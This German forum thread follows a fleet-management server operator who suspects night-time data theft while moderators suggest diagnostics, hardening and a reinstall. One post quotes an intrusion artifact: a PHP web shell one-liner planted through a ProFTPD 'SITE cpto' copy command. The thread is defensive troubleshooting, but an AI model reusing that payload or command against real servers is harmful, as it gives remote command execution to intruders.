sebix
Moderator, Webteam
Anmeldungsdatum: 14. April 2009
Beiträge: 5350
|
holimatic schrieb: sebix schrieb: holimatic schrieb: unbuntuS12 schrieb: holimatic schrieb: Es sind auch nur Queries drin, die von meinen Abfragen kommen.
Dann hat sich das unterstellte Angriffsszenario also nicht bewahrheitet.
Es ist gerade wieder am laufen. Die IP 105.154.79.23 (Marokko) saugt Daten ab. Wie gesagt es beginnt meistens so gegen 20.oo Uhr und immer von einer anderen IP Adresse aber immer aus Marokko (Siehe IP von oben). Das Logfile von mysql zeigt keine Unregelmässigkeiten.
Wenn es nicht MySQL ist und deine Anwendung auch nicht, wer behandelt dann diesen Traffic? Im Log des Apachen siehst du ja nicht nur die verdaechtigen IPs, sondern auch worauf die zugreifen.
Dieses Log ist jeden Tag ca. 100MB gross und die IP Adresse kann ich nicht eruieren, weil aus Marokko auch Kunden kommen.
Woher weisst du nun, welche IP-Adressen zu blockierst? Du musste die Daten ja nicht selbst durchsehen, das laesst sich ja statistisch auswerten. Das mute ich dir zu, wenn du 12 Jahre Erfahrung im Betreiben dieser Anwendung hast.
|
rklm
Projektleitung
Anmeldungsdatum: 16. Oktober 2011
Beiträge: 12832
|
holimatic schrieb: sebix schrieb:
Es geht darum, wie du ueberhaupt zur Vermutung des "Einbruchs" kommst. Alles was wir wissen, und du hier dargelegt hast, ist erhoehter Traffic.
Das ist ja auch für mich das einzige, was ich weiss und das sagt mir meine Erfahrung der letzen 12 Jahre. Dieser Traffic hat auch erst seit ca. 5 Monaten begonnen und seither bin ich am suchen.
Stellt Deine Anwendung Daten nur passwortgeschützt, also an bekannte Nutzer, zur Verfügung? Oder kann jeder darauf zugreifen und Anfragen stellen? Im ersteren Fall müsstest Du die Nutzer einfach erkennen können. Weil Du das anscheinend nicht kannst, vermute ich den zweiten Fall. In dem Fall, kann man von "absaugen" oder "Einbruch" gar nicht reden, weil Du die Daten ja sowieso öffentlich bereitstellst. Ich finde das immer noch sehr verworren: erhöhter Traffic an sich ohne weitere Angabe der Art der Anwendung ist halt schwer zu interpretieren. Wenn das Datenvolumen für Dich ein Problem darstellt, dann musst Du halt Maßnahmen treffen, die Bandbreite gerechter zu verteilen.
|
holimatic
(Themenstarter)
Anmeldungsdatum: 15. Dezember 2009
Beiträge: 397
Wohnort: Rotkreuz
|
sebix schrieb: Woher weisst du nun, welche IP-Adressen zu blockierst?
Nun mit
| netstat -tunp | grep apache2
|
sehe ich die angreifende IP Adresse. Wenn das Auftritt ist über längere Zeit immer die gleiche IP Adresse aktiv (ESTABLISHED). rklm schrieb: holimatic schrieb:
Stellt Deine Anwendung Daten nur passwortgeschützt, also an bekannte Nutzer, zur Verfügung?
Nein, es ist eine Passwort geschützte Seite, die nur für bekannte Nutzer Daten zur Verfügung stellt.
Ich finde das immer noch sehr verworren: erhöhter Traffic an sich ohne weitere Angabe der Art der Anwendung ist halt schwer zu interpretieren.
Ich werde anschliessend einen Erklärungsversuch beschreiben, wie die Anwendung funktioniert. Wenn das Datenvolumen für Dich ein Problem darstellt, dann musst Du halt Maßnahmen treffen, die Bandbreite gerechter zu verteilen.
Nein, das Datenvolumen ist kein Problem. Nun, meine Anwendung funktioniert so: Es ist ein Flottenmanagement System für Kunden, die Tracking Units (TU) in ihre Fahrzeuge (FZ) einbauen und dann die FZ disponieren können. Desweiteren ist auch eine Map integriert, die die Positionen der FZ darstellen kann. Auch sind viele weitere Funktionen integriert, die die TU steuern können. Im Hintergrund laufen zwei Dienste, die Daten aufbereiten.
Dienst1 holt GPS Daten von Tracking Units der Kunden. Diese Daten werden aufbereitet und normalisiert in der DB abgelegt. Dienst2 sendet die Rohkoordinaten an einen Reverse Geocoder der Fa. http://www.gisgraphy.com/, die dann die Adresse zurück liefert.
Diese zwei Vorgänge laufen im Sekunden Takt, daher auch der Traffic, der sich Upload und Download so um die 10KB/Sekunde bewegt. Mit diesem System kommen, wie schon erwähnt, ca. 50k Datensätze/Tag zusammen. Insgesamt sind es ca. 150 Kunden und ca. 900 FZ, die sich das System teilen. Die Abfragen der Kunden machen dabei nur einen kleinen Teil aus. Die Disponenten wollen im Durchschnitt alle 5 Min. wissen, wo sich ihre FZ befinden. Das macht also den Traffic nicht aus. Im Anhang habe ich mal einen Ausschnitt aus dem logwatch File, das ich jeden Morgen erhalte. Und da kann man erkennen, dass wahrscheinlich irgendwelche Script Kiddies am Werk sind und einfach probieren. Man sieht auch, dass meistens die IP Ranges (41,105,160 und 196.0.0.0/8) darin vorkommen. Diese Angriffe sind wie gesagt auch kein Problem. Sie werden ja abgewehrt. Das was mir Sorgen bereitet, sind eben die Angriffe via die URL und die finde ich nicht. Ich sehe das nur am erhöhten Traffic auf eth0, der nicht normal ist. Einmal habe ich in /var/tmp eine Datei mit diesem Inhalt gefunden:
| DateiName: .<?php passthru ($_GET['cmd']); echo 'm3rg3';?>
DateiInhalt: proftp: 139.59.145.242:39500: SITE cpto /var/tmp/.<?php passthru ($_GET['cmd']); echo 'm3rg3';?>
|
Proftpd habe ich danach entfernt. Dieser Eintrag ist danach auch nie mehr gekommen. Passthru habe ich ebenfalls in der php.ini Datei unter disable_functions eingetragen. Es kann schon sein, dass ich den Server noch mehr härten muss, aber alles was ich gefunden habe, habe ich integriert.
- Logwatch_vom_2017-02-27.txt (2.4 KiB)
- Download Logwatch_vom_2017-02-27.txt
|
rklm
Projektleitung
Anmeldungsdatum: 16. Oktober 2011
Beiträge: 12832
|
holimatic schrieb:
rklm schrieb: holimatic schrieb:
Stellt Deine Anwendung Daten nur passwortgeschützt, also an bekannte Nutzer, zur Verfügung?
Nein, es ist eine Passwort geschützte Seite, die nur für bekannte Nutzer Daten zur Verfügung stellt.
Es ist ein Flottenmanagement System für Kunden, die Tracking Units (TU) in ihre Fahrzeuge (FZ) einbauen und dann die FZ disponieren können. Desweiteren ist auch eine Map integriert, die die Positionen der FZ darstellen kann. Auch sind viele weitere Funktionen integriert, die die TU steuern können. Im Hintergrund laufen zwei Dienste, die Daten aufbereiten.
Dienst1 holt GPS Daten von Tracking Units der Kunden. Diese Daten werden aufbereitet und normalisiert in der DB abgelegt. Dienst2 sendet die Rohkoordinaten an einen Reverse Geocoder der Fa. http://www.gisgraphy.com/, die dann die Adresse zurück liefert.
Also, alle Verbindungen dieser zwei Dienste werden von Deinem Server aus gemacht (pull) und es gibt keine Dienste außerhalb, die Daten pushen?
Im Anhang habe ich mal einen Ausschnitt aus dem logwatch File, das ich jeden Morgen erhalte. Und da kann man erkennen, dass wahrscheinlich irgendwelche Script Kiddies am Werk sind und einfach probieren. Man sieht auch, dass meistens die IP Ranges (41,105,160 und 196.0.0.0/8) darin vorkommen. Diese Angriffe sind wie gesagt auch kein Problem. Sie werden ja abgewehrt.
Aber die verursachen natürlich auch Traffic zu Deiner Maschine. Es sei denn, die Firewall würde auf einem anderen System laufen.
Das was mir Sorgen bereitet, sind eben die Angriffe via die URL und die finde ich nicht. Ich sehe das nur am erhöhten Traffic auf eth0, der nicht normal ist.
Ich sehe im Moment folgende mögliche Gründe
Der Traffic stammt von den Angriffen (s.o.). Es gibt noch einen Weg auf Deinen Server, an den Du nicht gedacht hast (erscheint mir allerdings eher unwahrscheinlich).
Du hast vermutlich auch schon mal mit netstat -l nachgeschaut, ob da noch irgendwo etwas lauscht.
|
holimatic
(Themenstarter)
Anmeldungsdatum: 15. Dezember 2009
Beiträge: 397
Wohnort: Rotkreuz
|
rklm schrieb: Also, alle Verbindungen dieser zwei Dienste werden von Deinem Server aus gemacht (pull) und es gibt keine Dienste außerhalb, die Daten pushen?
Ja, diese zwei Dienste laufen nur auf dem Server. Und nein es wird nicht von ausserhalb gepusht. Im Anhang habe ich mal einen Ausschnitt aus dem logwatch File, das ich jeden Morgen erhalte. Und da kann man erkennen, dass wahrscheinlich irgendwelche Script Kiddies am Werk sind und einfach probieren. Man sieht auch, dass meistens die IP Ranges (41,105,160 und 196.0.0.0/8) darin vorkommen. Diese Angriffe sind wie gesagt auch kein Problem. Sie werden ja abgewehrt.
Aber die verursachen natürlich auch Traffic zu Deiner Maschine. Es sei denn, die Firewall würde auf einem anderen System laufen.
Dieser Traffic ist aber nicht so regelmässig mit 100kB/Sec während Stunden. Das was mir Sorgen bereitet, sind eben die Angriffe via die URL und die finde ich nicht. Ich sehe das nur am erhöhten Traffic auf eth0, der nicht normal ist.
Tagsüber ist immer Ruhe.
Ich sehe im Moment folgende mögliche Gründe
Aus meiner Sicht und Erfahrung JA. Hmmm, ja das wird wohl so sein, aber ich suche die Nadel im Heuhaufen.
Du hast vermutlich auch schon mal mit netstat -l nachgeschaut, ob da noch irgendwo etwas lauscht.
Ja klar, habe aber nichts aussergewöhnliches feststellen können.
|
rklm
Projektleitung
Anmeldungsdatum: 16. Oktober 2011
Beiträge: 12832
|
holimatic schrieb: rklm schrieb:
Aber die verursachen natürlich auch Traffic zu Deiner Maschine. Es sei denn, die Firewall würde auf einem anderen System laufen.
Dieser Traffic ist aber nicht so regelmässig mit 100kB/Sec während Stunden.
Also Du meinst, dass es etwas gibt, das mit regelmäßiger Bandbreite Traffic macht, von der Natur her wie ein langer Download?
Hmmm, ja das wird wohl so sein, aber ich suche die Nadel im Heuhaufen.
Vielleicht noch anderer Traffic als TCP? Es gibt ja noch UDP, ICMP. Du kannst ja mal mit netstat --statistics oder netstat --statistics --raw nachschauen, was da so an Paketen pro Protokoll herumschwirrt.
|
holimatic
(Themenstarter)
Anmeldungsdatum: 15. Dezember 2009
Beiträge: 397
Wohnort: Rotkreuz
|
rklm schrieb: holimatic schrieb: rklm schrieb:
Dieser Traffic ist aber nicht so regelmässig mit 100kB/Sec während Stunden.
Also Du meinst, dass es etwas gibt, das mit regelmäßiger Bandbreite Traffic macht, von der Natur her wie ein langer Download?
Ja, genau so. Hmmm, ja das wird wohl so sein, aber ich suche die Nadel im Heuhaufen.
Vielleicht noch anderer Traffic als TCP? Es gibt ja noch UDP, ICMP. Du kannst ja mal mit netstat --statistics oder netstat --statistics --raw nachschauen, was da so an Paketen pro Protokoll herumschwirrt.
Ich habe mal einen weiteren Anhang von netstat --statistics --raw aber das kann ich nicht interpretieren, da bin ich zuwenig Netzwerk Spezi. Vielleicht kannst du mir da weiterhelfen. Ich bin SW Engineer und das habe ich studiert.
- netstat.ksh (1.1 KiB)
- Download netstat.ksh
|
Thomas_Do
Moderator
Anmeldungsdatum: 24. November 2009
Beiträge: 8544
|
holimatic schrieb: Ich bin SW Engineer und das habe ich studiert.
Dann sollte es Dir ja nicht schwer fallen die Forensyntax zu lernen. Solche Informationen bitte als Codeblock {{{TEXT}}} posten und nicht als Dateianhang. Liest sich viel leichter: Ip:
61197475 total packets received
0 forwarded
155 with unknown protocol
0 incoming packets discarded
61197313 incoming packets delivered
60939402 requests sent out
14 reassemblies required
7 packets reassembled ok
Icmp:
159726 ICMP messages received
156 input ICMP message failed.
ICMP input histogram:
destination unreachable: 844
timeout in transit: 99
echo requests: 10197
echo replies: 148585
timestamp request: 1
163198 ICMP messages sent
0 ICMP messages failed
ICMP output histogram:
destination unreachable: 4380
echo request: 148620
echo replies: 10197
timestamp replies: 1
IcmpMsg:
InType0: 148585
InType3: 844
InType8: 10197
InType11: 99
InType13: 1
OutType0: 10197
OutType3: 4380
OutType8: 148620
OutType14: 1
UdpLite:
IpExt:
InBcastPkts: 48
InOctets: 23635814984
OutOctets: 31107921644
InBcastOctets: 15648
InNoECTPkts: 64954704
InECT1Pkts: 5
InECT0Pkts: 5064
InCEPkts: 345
|
holimatic
(Themenstarter)
Anmeldungsdatum: 15. Dezember 2009
Beiträge: 397
Wohnort: Rotkreuz
|
Thomas_Do schrieb: holimatic schrieb: Ich bin SW Engineer und das habe ich studiert.
Dann sollte es Dir ja nicht schwer fallen die Forensyntax zu lernen. Solche Informationen bitte als Codeblock {{{TEXT}}} posten und nicht als Dateianhang. Liest sich viel leichter:
Danke für die Belehrung, werde ich mir merken. Kannst du trotzdem auch etwas zum Thema sagen?
|
Thomas_Do
Moderator
Anmeldungsdatum: 24. November 2009
Beiträge: 8544
|
holimatic schrieb: Kannst du trotzdem auch etwas zum Thema sagen?
Nicht wirklich. Ich lese (und denke) hier mit, bin aber verwirrt, woran Du nun einen Einbruch eindeutig festmachst und andere Erklärungen ausschließt. Aus Sicht eines Admins, müsste eine Webseite mit solchen Schwachstellen sofort vom Netz. Falls der Einbruchsweg nicht ganz klar ist, würde bei wichtigen Infrastrukturen der Server komplett neu aufgesetzt, da sonst die Sicherheit nicht garantiert werden kann. Du siehst das in diesem Fall abnscheinend nicht so eng.
|
holimatic
(Themenstarter)
Anmeldungsdatum: 15. Dezember 2009
Beiträge: 397
Wohnort: Rotkreuz
|
Thomas_Do schrieb:
Nicht wirklich. Ich lese (und denke) hier mit, bin aber verwirrt, woran Du nun einen Einbruch eindeutig festmachst und andere Erklärungen ausschließt. Aus Sicht eines Admins, müsste eine Webseite mit solchen Schwachstellen sofort vom Netz. Falls der Einbruchsweg nicht ganz klar ist, würde bei wichtigen Infrastrukturen der Server komplett neu aufgesetzt, da sonst die Sicherheit nicht garantiert werden kann. Du siehst das in diesem Fall anscheinend nicht so eng.
Ja, neu aufsetzen bei einem anderen Provider mit einer neuen Subdomain und einer anderen IP Adresse das wäre was. Daran habe ich natürlich auch schon gedacht und ich sehe das auch eng. Darum mache ich mir ja grosse Sorgen. Letztendlich bleibt mir wahrscheinlich nichts anderes übrig. Danke für den Hinweis. Trotzdem ist es für mich eine Herausforderung diese Schwachstelle zu finden. Man kann auch immer etwas lernen 😉
|
Hans9876543210
Anmeldungsdatum: 2. Januar 2011
Beiträge: 3741
|
Moin. Es gibt ja durchaus Testseiten wie
ssllabs oder securityheaders sowie Tools zum Grundhärten des Systems (lynis ist auch in den offiziellen Paketquellen). Vielleicht wäre das ja mal ein anderer Ansatz um zu gucken, was bei dir womöglich verbessert werden kann.
|
Mokkujin
Anmeldungsdatum: 2. Mai 2008
Beiträge: 389
Wohnort: Hannover
|
Blöde Frage ... laufen irgendwelche Cronjobs ? Wird Nachts ein Cache aufgebaut, für das eigene CMS ? Ist das nur 1 MySql Server oder ein Cluster ? Wie ist euer CMS abgesichert ? Evtl. veraltete Hash Funktionen nicht gesaltet etc .... Macht euer Provider vielleicht in der Zeit Backups ? Vielleicht wäre auch ein Weg, wenn du dir sicher bist das jemand Daten absaugt, die komplette IP Range zu sperren und nur die IP der Kunden freigeben. Geht natürlich nur wenn die Kunden feste IPs haben. (http://www.ipdeny.com/ipblocks/)
|
holimatic
(Themenstarter)
Anmeldungsdatum: 15. Dezember 2009
Beiträge: 397
Wohnort: Rotkreuz
|
Mokkujin schrieb: Blöde Frage ... laufen irgendwelche Cronjobs ?
Ja klar, sind alle unter Kontrolle von mir, weil selbst erstellt oder vom System bereitgestellt.
Wird Nachts ein Cache aufgebaut, für das eigene CMS ?
Nein
Ist das nur 1 MySql Server oder ein Cluster ?
Nur ein MySQL Server
Wie ist euer CMS abgesichert ? Evtl. veraltete Hash Funktionen nicht gesaltet etc ....
Mit Benutzernamen und Passwort und immer das neueste. Was meinst du mit gesaltet?
Macht euer Provider vielleicht in der Zeit Backups ?
Nein, das ist ein vollständiger Root Server unter meiner Kontrolle
Vielleicht wäre auch ein Weg, wenn du dir sicher bist das jemand Daten absaugt, die komplette IP Range zu sperren und nur die IP der Kunden freigeben. Geht natürlich nur wenn die Kunden feste IPs haben. (http://www.ipdeny.com/ipblocks/)
Ja, nachts habe ich jeweils die IP Ranges von Marokko gesperrt, aber es haben sich dann die Kunden beschwert. Feste IP Adressen habe ich schon vorgeschlagen, aber die wissen dort nicht, was das ist ☹
|
holimatic
(Themenstarter)
Anmeldungsdatum: 15. Dezember 2009
Beiträge: 397
Wohnort: Rotkreuz
|
Hans9876543210 schrieb: Moin. Es gibt ja durchaus Testseiten wie
ssllabs oder securityheaders sowie Tools zum Grundhärten des Systems (lynis ist auch in den offiziellen Paketquellen). Vielleicht wäre das ja mal ein anderer Ansatz um zu gucken, was bei dir womöglich verbessert werden kann.
Das ist ein guter Ansatz, da werde ich mich mal durch arbeiten. Vielen Dank...
|